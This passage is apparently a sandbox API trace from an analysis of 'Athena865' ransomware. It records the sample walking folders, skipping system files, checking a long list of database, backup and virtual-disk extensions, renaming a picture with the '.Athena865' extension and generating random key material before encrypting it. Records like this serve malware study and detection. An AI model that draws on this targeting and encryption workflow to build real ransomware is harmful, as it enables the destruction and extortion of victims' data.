HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.549] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.549] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.550] CloseHandle (hObject=0x154) returned 1 [0051.550] CloseHandle (hObject=0x17c) returned 1 [0051.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.552] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.553] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c136960, ftCreationTime.dwHighDateTime=0x1d4d285, ftLastAccessTime.dwLowDateTime=0x89d75d30, ftLastAccessTime.dwHighDateTime=0x1d4ca89, ftLastWriteTime.dwLowDateTime=0x89d75d30, ftLastWriteTime.dwHighDateTime=0x1d4ca89, nFileSizeHigh=0x0, nFileSizeLow=0x39c6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9jKc4GuOLdb.gif", cAlternateFileName="9JKC4G~1.GIF")) returned 1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2=".") returned 1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="..") returned 1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="windows") returned -1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="bootmgr") returned -1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="temp") returned -1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="pagefile.sys") returned -1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="boot") returned -1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="ids.txt") returned -1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="ntuser.dat") returned -1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="perflogs") returned -1 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2="MSBuild") returned -1 [0051.553] lstrlenW (lpString="9jKc4GuOLdb.gif") returned 15 [0051.553] lstrcpyW (in: lpString1=0x241e8b8, lpString2="9jKc4GuOLdb.gif" | out: lpString1="9jKc4GuOLdb.gif") returned="9jKc4GuOLdb.gif" [0051.553] lstrlenW (lpString="9jKc4GuOLdb.gif") returned 15 [0051.553] lstrlenW (lpString="Athena865") returned 9 [0051.553] lstrcmpiW (lpString1="uOLdb.gif", lpString2="Athena865") returned 1 [0051.553] lstrlenW (lpString=".dll") returned 4 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2=".dll") returned 1 [0051.553] lstrlenW (lpString=".lnk") returned 4 [0051.553] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2=".lnk") returned 1 [0051.553] lstrlenW (lpString=".ini") returned 4 [0051.554] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2=".ini") returned 1 [0051.554] lstrlenW (lpString=".sys") returned 4 [0051.554] lstrcmpiW (lpString1="9jKc4GuOLdb.gif", lpString2=".sys") returned 1 [0051.554] lstrlenW (lpString="9jKc4GuOLdb.gif") returned 15 [0051.554] lstrlenW (lpString="bak") returned 3 [0051.554] lstrcmpiW (lpString1="gif", lpString2="bak") returned 1 [0051.554] lstrlenW (lpString="ba_") returned 3 [0051.554] lstrcmpiW (lpString1="gif", lpString2="ba_") returned 1 [0051.554] lstrlenW (lpString="dbb") returned 3 [0051.554] lstrcmpiW (lpString1="gif", lpString2="dbb") returned 1 [0051.554] lstrlenW (lpString="vmdk") returned 4 [0051.554] lstrcmpiW (lpString1=".gif", lpString2="vmdk") returned -1 [0051.554] lstrlenW (lpString="rar") returned 3 [0051.554] lstrcmpiW (lpString1="gif", lpString2="rar") returned -1 [0051.554] lstrlenW (lpString="zip") returned 3 [0051.554] lstrcmpiW (lpString1="gif", lpString2="zip") returned -1 [0051.554] lstrlenW (lpString="tgz") returned 3 [0051.554] lstrcmpiW (lpString1="gif", lpString2="tgz") returned -1 [0051.554] lstrlenW (lpString="vbox") returned 4 [0051.554] lstrcmpiW (lpString1=".gif", lpString2="vbox") returned -1 [0051.554] lstrlenW (lpString="vdi") returned 3 [0051.554] lstrcmpiW (lpString1="gif", lpString2="vdi") returned -1 [0051.554] lstrlenW (lpString="vhd") returned 3 [0051.554] lstrcmpiW (lpString1="gif", lpString2="vhd") returned -1 [0051.554] lstrlenW (lpString="vhdx") returned 4 [0051.554] lstrcmpiW (lpString1=".gif", lpString2="vhdx") returned -1 [0051.554] lstrlenW (lpString="avhd") returned 4 [0051.554] lstrcmpiW (lpString1=".gif", lpString2="avhd") returned -1 [0051.554] lstrlenW (lpString="db") returned 2 [0051.554] lstrcmpiW (lpString1="if", lpString2="db") returned 1 [0051.554] lstrlenW (lpString="db2") returned 3 [0051.554] lstrcmpiW (lpString1="gif", lpString2="db2") returned 1 [0051.554] lstrlenW (lpString="db3") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="db3") returned 1 [0051.555] lstrlenW (lpString="dbf") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="dbf") returned 1 [0051.555] lstrlenW (lpString="mdf") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="mdf") returned -1 [0051.555] lstrlenW (lpString="mdb") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="mdb") returned -1 [0051.555] lstrlenW (lpString="sql") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="sql") returned -1 [0051.555] lstrlenW (lpString="sqlite") returned 6 [0051.555] lstrcmpiW (lpString1="db.gif", lpString2="sqlite") returned -1 [0051.555] lstrlenW (lpString="sqlite3") returned 7 [0051.555] lstrcmpiW (lpString1="Ldb.gif", lpString2="sqlite3") returned -1 [0051.555] lstrlenW (lpString="sqlitedb") returned 8 [0051.555] lstrcmpiW (lpString1="OLdb.gif", lpString2="sqlitedb") returned -1 [0051.555] lstrlenW (lpString="xml") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="xml") returned -1 [0051.555] lstrlenW (lpString="$er") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="$er") returned 1 [0051.555] lstrlenW (lpString="4dd") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="4dd") returned 1 [0051.555] lstrlenW (lpString="4dl") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="4dl") returned 1 [0051.555] lstrlenW (lpString="^^^") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="^^^") returned 1 [0051.555] lstrlenW (lpString="abs") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="abs") returned 1 [0051.555] lstrlenW (lpString="abx") returned 3 [0051.555] lstrcmpiW (lpString1="gif", lpString2="abx") returned 1 [0051.555] lstrlenW (lpString="accdb") returned 5 [0051.555] lstrcmpiW (lpString1="b.gif", lpString2="accdb") returned 1 [0051.555] lstrlenW (lpString="accdc") returned 5 [0051.555] lstrcmpiW (lpString1="b.gif", lpString2="accdc") returned 1 [0051.556] lstrlenW (lpString="accde") returned 5 [0051.556] lstrcmpiW (lpString1="b.gif", lpString2="accde") returned 1 [0051.556] lstrlenW (lpString="accdr") returned 5 [0051.556] lstrcmpiW (lpString1="b.gif", lpString2="accdr") returned 1 [0051.556] lstrlenW (lpString="accdt") returned 5 [0051.556] lstrcmpiW (lpString1="b.gif", lpString2="accdt") returned 1 [0051.556] lstrlenW (lpString="accdw") returned 5 [0051.556] lstrcmpiW (lpString1="b.gif", lpString2="accdw") returned 1 [0051.556] lstrlenW (lpString="accft") returned 5 [0051.556] lstrcmpiW (lpString1="b.gif", lpString2="accft") returned 1 [0051.556] lstrlenW (lpString="adb") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0051.556] lstrlenW (lpString="adb") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="adb") returned 1 [0051.556] lstrlenW (lpString="ade") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="ade") returned 1 [0051.556] lstrlenW (lpString="adf") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="adf") returned 1 [0051.556] lstrlenW (lpString="adn") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="adn") returned 1 [0051.556] lstrlenW (lpString="adp") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="adp") returned 1 [0051.556] lstrlenW (lpString="alf") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="alf") returned 1 [0051.556] lstrlenW (lpString="ask") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="ask") returned 1 [0051.556] lstrlenW (lpString="btr") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="btr") returned 1 [0051.556] lstrlenW (lpString="cat") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="cat") returned 1 [0051.556] lstrlenW (lpString="cdb") returned 3 [0051.556] lstrcmpiW (lpString1="gif", lpString2="cdb") returned 1 [0051.556] lstrlenW (lpString="ckp") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="ckp") returned 1 [0051.557] lstrlenW (lpString="cma") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="cma") returned 1 [0051.557] lstrlenW (lpString="cpd") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="cpd") returned 1 [0051.557] lstrlenW (lpString="dacpac") returned 6 [0051.557] lstrcmpiW (lpString1="db.gif", lpString2="dacpac") returned 1 [0051.557] lstrlenW (lpString="dad") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="dad") returned 1 [0051.557] lstrlenW (lpString="dadiagrams") returned 10 [0051.557] lstrcmpiW (lpString1="GuOLdb.gif", lpString2="dadiagrams") returned 1 [0051.557] lstrlenW (lpString="daschema") returned 8 [0051.557] lstrcmpiW (lpString1="OLdb.gif", lpString2="daschema") returned 1 [0051.557] lstrlenW (lpString="db-journal") returned 10 [0051.557] lstrcmpiW (lpString1="GuOLdb.gif", lpString2="db-journal") returned 1 [0051.557] lstrlenW (lpString="db-shm") returned 6 [0051.557] lstrcmpiW (lpString1="db.gif", lpString2="db-shm") returned -1 [0051.557] lstrlenW (lpString="db-wal") returned 6 [0051.557] lstrcmpiW (lpString1="db.gif", lpString2="db-wal") returned -1 [0051.557] lstrlenW (lpString="dbc") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="dbc") returned 1 [0051.557] lstrlenW (lpString="dbs") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="dbs") returned 1 [0051.557] lstrlenW (lpString="dbt") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="dbt") returned 1 [0051.557] lstrlenW (lpString="dbv") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="dbv") returned 1 [0051.557] lstrlenW (lpString="dbx") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="dbx") returned 1 [0051.557] lstrlenW (lpString="dcb") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="dcb") returned 1 [0051.557] lstrlenW (lpString="dct") returned 3 [0051.557] lstrcmpiW (lpString1="gif", lpString2="dct") returned 1 [0051.558] lstrlenW (lpString="dcx") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="dcx") returned 1 [0051.558] lstrlenW (lpString="ddl") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="ddl") returned 1 [0051.558] lstrlenW (lpString="dlis") returned 4 [0051.558] lstrcmpiW (lpString1=".gif", lpString2="dlis") returned -1 [0051.558] lstrlenW (lpString="dp1") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="dp1") returned 1 [0051.558] lstrlenW (lpString="dqy") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="dqy") returned 1 [0051.558] lstrlenW (lpString="dsk") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="dsk") returned 1 [0051.558] lstrlenW (lpString="dsn") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="dsn") returned 1 [0051.558] lstrlenW (lpString="dtsx") returned 4 [0051.558] lstrcmpiW (lpString1=".gif", lpString2="dtsx") returned -1 [0051.558] lstrlenW (lpString="dxl") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="dxl") returned 1 [0051.558] lstrlenW (lpString="eco") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="eco") returned 1 [0051.558] lstrlenW (lpString="ecx") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="ecx") returned 1 [0051.558] lstrlenW (lpString="edb") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="edb") returned 1 [0051.558] lstrlenW (lpString="epim") returned 4 [0051.558] lstrcmpiW (lpString1=".gif", lpString2="epim") returned -1 [0051.558] lstrlenW (lpString="fcd") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="fcd") returned 1 [0051.558] lstrlenW (lpString="fdb") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="fdb") returned 1 [0051.558] lstrlenW (lpString="fic") returned 3 [0051.558] lstrcmpiW (lpString1="gif", lpString2="fic") returned 1 [0051.558] lstrlenW (lpString="flexolibrary") returned 12 [0051.559] lstrcmpiW (lpString1="c4GuOLdb.gif", lpString2="flexolibrary") returned -1 [0051.559] lstrlenW (lpString="fm5") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="fm5") returned 1 [0051.559] lstrlenW (lpString="fmp") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="fmp") returned 1 [0051.559] lstrlenW (lpString="fmp12") returned 5 [0051.559] lstrcmpiW (lpString1="b.gif", lpString2="fmp12") returned -1 [0051.559] lstrlenW (lpString="fmpsl") returned 5 [0051.559] lstrcmpiW (lpString1="b.gif", lpString2="fmpsl") returned -1 [0051.559] lstrlenW (lpString="fol") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="fol") returned 1 [0051.559] lstrlenW (lpString="fp3") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="fp3") returned 1 [0051.559] lstrlenW (lpString="fp4") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="fp4") returned 1 [0051.559] lstrlenW (lpString="fp5") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="fp5") returned 1 [0051.559] lstrlenW (lpString="fp7") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="fp7") returned 1 [0051.559] lstrlenW (lpString="fpt") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="fpt") returned 1 [0051.559] lstrlenW (lpString="frm") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="frm") returned 1 [0051.559] lstrlenW (lpString="gdb") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1 [0051.559] lstrlenW (lpString="gdb") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="gdb") returned 1 [0051.559] lstrlenW (lpString="grdb") returned 4 [0051.559] lstrcmpiW (lpString1=".gif", lpString2="grdb") returned -1 [0051.559] lstrlenW (lpString="gwi") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="gwi") returned -1 [0051.559] lstrlenW (lpString="hdb") returned 3 [0051.559] lstrcmpiW (lpString1="gif", lpString2="hdb") returned -1 [0051.559] lstrlenW (lpString="his") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="his") returned -1 [0051.560] lstrlenW (lpString="ib") returned 2 [0051.560] lstrcmpiW (lpString1="if", lpString2="ib") returned 1 [0051.560] lstrlenW (lpString="idb") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="idb") returned -1 [0051.560] lstrlenW (lpString="ihx") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="ihx") returned -1 [0051.560] lstrlenW (lpString="itdb") returned 4 [0051.560] lstrcmpiW (lpString1=".gif", lpString2="itdb") returned -1 [0051.560] lstrlenW (lpString="itw") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="itw") returned -1 [0051.560] lstrlenW (lpString="jet") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="jet") returned -1 [0051.560] lstrlenW (lpString="jtx") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="jtx") returned -1 [0051.560] lstrlenW (lpString="kdb") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="kdb") returned -1 [0051.560] lstrlenW (lpString="kexi") returned 4 [0051.560] lstrcmpiW (lpString1=".gif", lpString2="kexi") returned -1 [0051.560] lstrlenW (lpString="kexic") returned 5 [0051.560] lstrcmpiW (lpString1="b.gif", lpString2="kexic") returned -1 [0051.560] lstrlenW (lpString="kexis") returned 5 [0051.560] lstrcmpiW (lpString1="b.gif", lpString2="kexis") returned -1 [0051.560] lstrlenW (lpString="lgc") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="lgc") returned -1 [0051.560] lstrlenW (lpString="lwx") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="lwx") returned -1 [0051.560] lstrlenW (lpString="maf") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="maf") returned -1 [0051.560] lstrlenW (lpString="maq") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="maq") returned -1 [0051.560] lstrlenW (lpString="mar") returned 3 [0051.560] lstrcmpiW (lpString1="gif", lpString2="mar") returned -1 [0051.561] lstrlenW (lpString="marshal") returned 7 [0051.561] lstrcmpiW (lpString1="Ldb.gif", lpString2="marshal") returned -1 [0051.561] lstrlenW (lpString="mas") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="mas") returned -1 [0051.561] lstrlenW (lpString="mav") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="mav") returned -1 [0051.561] lstrlenW (lpString="maw") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="maw") returned -1 [0051.561] lstrlenW (lpString="mdbhtml") returned 7 [0051.561] lstrcmpiW (lpString1="Ldb.gif", lpString2="mdbhtml") returned -1 [0051.561] lstrlenW (lpString="mdn") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="mdn") returned -1 [0051.561] lstrlenW (lpString="mdt") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="mdt") returned -1 [0051.561] lstrlenW (lpString="mfd") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="mfd") returned -1 [0051.561] lstrlenW (lpString="mpd") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="mpd") returned -1 [0051.561] lstrlenW (lpString="mrg") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="mrg") returned -1 [0051.561] lstrlenW (lpString="mud") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="mud") returned -1 [0051.561] lstrlenW (lpString="mwb") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="mwb") returned -1 [0051.561] lstrlenW (lpString="myd") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="myd") returned -1 [0051.561] lstrlenW (lpString="ndf") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="ndf") returned -1 [0051.561] lstrlenW (lpString="nnt") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="nnt") returned -1 [0051.561] lstrlenW (lpString="nrmlib") returned 6 [0051.561] lstrcmpiW (lpString1="db.gif", lpString2="nrmlib") returned -1 [0051.561] lstrlenW (lpString="ns2") returned 3 [0051.561] lstrcmpiW (lpString1="gif", lpString2="ns2") returned -1 [0051.562] lstrlenW (lpString="ns3") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="ns3") returned -1 [0051.562] lstrlenW (lpString="ns4") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="ns4") returned -1 [0051.562] lstrlenW (lpString="nsf") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="nsf") returned -1 [0051.562] lstrlenW (lpString="nv") returned 2 [0051.562] lstrcmpiW (lpString1="if", lpString2="nv") returned -1 [0051.562] lstrlenW (lpString="nv2") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="nv2") returned -1 [0051.562] lstrlenW (lpString="nwdb") returned 4 [0051.562] lstrcmpiW (lpString1=".gif", lpString2="nwdb") returned -1 [0051.562] lstrlenW (lpString="nyf") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="nyf") returned -1 [0051.562] lstrlenW (lpString="odb") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1 [0051.562] lstrlenW (lpString="odb") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="odb") returned -1 [0051.562] lstrlenW (lpString="oqy") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="oqy") returned -1 [0051.562] lstrlenW (lpString="ora") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="ora") returned -1 [0051.562] lstrlenW (lpString="orx") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="orx") returned -1 [0051.562] lstrlenW (lpString="owc") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="owc") returned -1 [0051.562] lstrlenW (lpString="p96") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="p96") returned -1 [0051.562] lstrlenW (lpString="p97") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="p97") returned -1 [0051.562] lstrlenW (lpString="pan") returned 3 [0051.562] lstrcmpiW (lpString1="gif", lpString2="pan") returned -1 [0051.563] lstrlenW (lpString="pdb") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="pdb") returned -1 [0051.563] lstrlenW (lpString="pdm") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="pdm") returned -1 [0051.563] lstrlenW (lpString="pnz") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="pnz") returned -1 [0051.563] lstrlenW (lpString="qry") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="qry") returned -1 [0051.563] lstrlenW (lpString="qvd") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="qvd") returned -1 [0051.563] lstrlenW (lpString="rbf") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="rbf") returned -1 [0051.563] lstrlenW (lpString="rctd") returned 4 [0051.563] lstrcmpiW (lpString1=".gif", lpString2="rctd") returned -1 [0051.563] lstrlenW (lpString="rod") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="rod") returned -1 [0051.563] lstrlenW (lpString="rodx") returned 4 [0051.563] lstrcmpiW (lpString1=".gif", lpString2="rodx") returned -1 [0051.563] lstrlenW (lpString="rpd") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="rpd") returned -1 [0051.563] lstrlenW (lpString="rsd") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="rsd") returned -1 [0051.563] lstrlenW (lpString="sas7bdat") returned 8 [0051.563] lstrcmpiW (lpString1="OLdb.gif", lpString2="sas7bdat") returned -1 [0051.563] lstrlenW (lpString="sbf") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="sbf") returned -1 [0051.563] lstrlenW (lpString="scx") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="scx") returned -1 [0051.563] lstrlenW (lpString="sdb") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="sdb") returned -1 [0051.563] lstrlenW (lpString="sdc") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="sdc") returned -1 [0051.563] lstrlenW (lpString="sdf") returned 3 [0051.563] lstrcmpiW (lpString1="gif", lpString2="sdf") returned -1 [0051.564] lstrlenW (lpString="sis") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="sis") returned -1 [0051.564] lstrlenW (lpString="spq") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="spq") returned -1 [0051.564] lstrlenW (lpString="te") returned 2 [0051.564] lstrcmpiW (lpString1="if", lpString2="te") returned -1 [0051.564] lstrlenW (lpString="teacher") returned 7 [0051.564] lstrcmpiW (lpString1="Ldb.gif", lpString2="teacher") returned -1 [0051.564] lstrlenW (lpString="tmd") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="tmd") returned -1 [0051.564] lstrlenW (lpString="tps") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="tps") returned -1 [0051.564] lstrlenW (lpString="trc") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1 [0051.564] lstrlenW (lpString="trc") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="trc") returned -1 [0051.564] lstrlenW (lpString="trm") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="trm") returned -1 [0051.564] lstrlenW (lpString="udb") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="udb") returned -1 [0051.564] lstrlenW (lpString="udl") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="udl") returned -1 [0051.564] lstrlenW (lpString="usr") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="usr") returned -1 [0051.564] lstrlenW (lpString="v12") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="v12") returned -1 [0051.564] lstrlenW (lpString="vis") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="vis") returned -1 [0051.564] lstrlenW (lpString="vpd") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="vpd") returned -1 [0051.564] lstrlenW (lpString="vvv") returned 3 [0051.564] lstrcmpiW (lpString1="gif", lpString2="vvv") returned -1 [0051.564] lstrlenW (lpString="wdb") returned 3 [0051.565] lstrcmpiW (lpString1="gif", lpString2="wdb") returned -1 [0051.565] lstrlenW (lpString="wmdb") returned 4 [0051.565] lstrcmpiW (lpString1=".gif", lpString2="wmdb") returned -1 [0051.565] lstrlenW (lpString="wrk") returned 3 [0051.565] lstrcmpiW (lpString1="gif", lpString2="wrk") returned -1 [0051.565] lstrlenW (lpString="xdb") returned 3 [0051.565] lstrcmpiW (lpString1="gif", lpString2="xdb") returned -1 [0051.565] lstrlenW (lpString="xld") returned 3 [0051.565] lstrcmpiW (lpString1="gif", lpString2="xld") returned -1 [0051.565] lstrlenW (lpString="xmlff") returned 5 [0051.565] lstrcmpiW (lpString1="b.gif", lpString2="xmlff") returned -1 [0051.565] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\9jKc4GuOLdb.gif.Athena865") returned 81 [0051.565] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\9jKc4GuOLdb.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\9jkc4guoldb.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\9jKc4GuOLdb.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\9jkc4guoldb.gif.athena865"), dwFlags=0x1) returned 1 [0051.565] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\9jKc4GuOLdb.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\9jkc4guoldb.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.566] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14790) returned 1 [0051.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.566] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.567] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.567] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.567] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3cd0, lpName=0x0) returned 0x154 [0051.567] MapViewOfFile 